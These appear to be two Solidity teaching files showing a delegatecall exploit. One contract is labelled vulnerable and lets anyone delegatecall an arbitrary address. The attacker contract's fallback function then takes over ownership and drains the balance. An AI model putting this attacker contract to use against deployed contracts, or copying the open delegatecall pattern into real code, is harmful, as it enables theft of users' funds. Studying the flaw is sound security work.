Attacker.sol

pragma solidity ^0.4.23;

contract Attacker {
    
    address public owner;
    
    function () public {
        owner = msg.sender;
        msg.sender.transfer(address(this).balance);
    }
}

Vulnerable.sol

pragma solidity ^0.4.23;

/// VULNERABLE CONTRACT - DO NOT USE
contract Vulnerable {
    
    address public owner;
    
    constructor () public payable { 
        require(msg.value != 0); 
        owner = msg.sender;
    }
    
    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }
    
    function () public payable { }
    
    function withdraw() public onlyOwner() {
        msg.sender.transfer(address(this).balance);
    }
    
    function getBal() public view returns (uint) {
        return address(this).balance;
    }
    
    function arbitraryExec(address _target) public {
        require(_target.delegatecall());
    }
}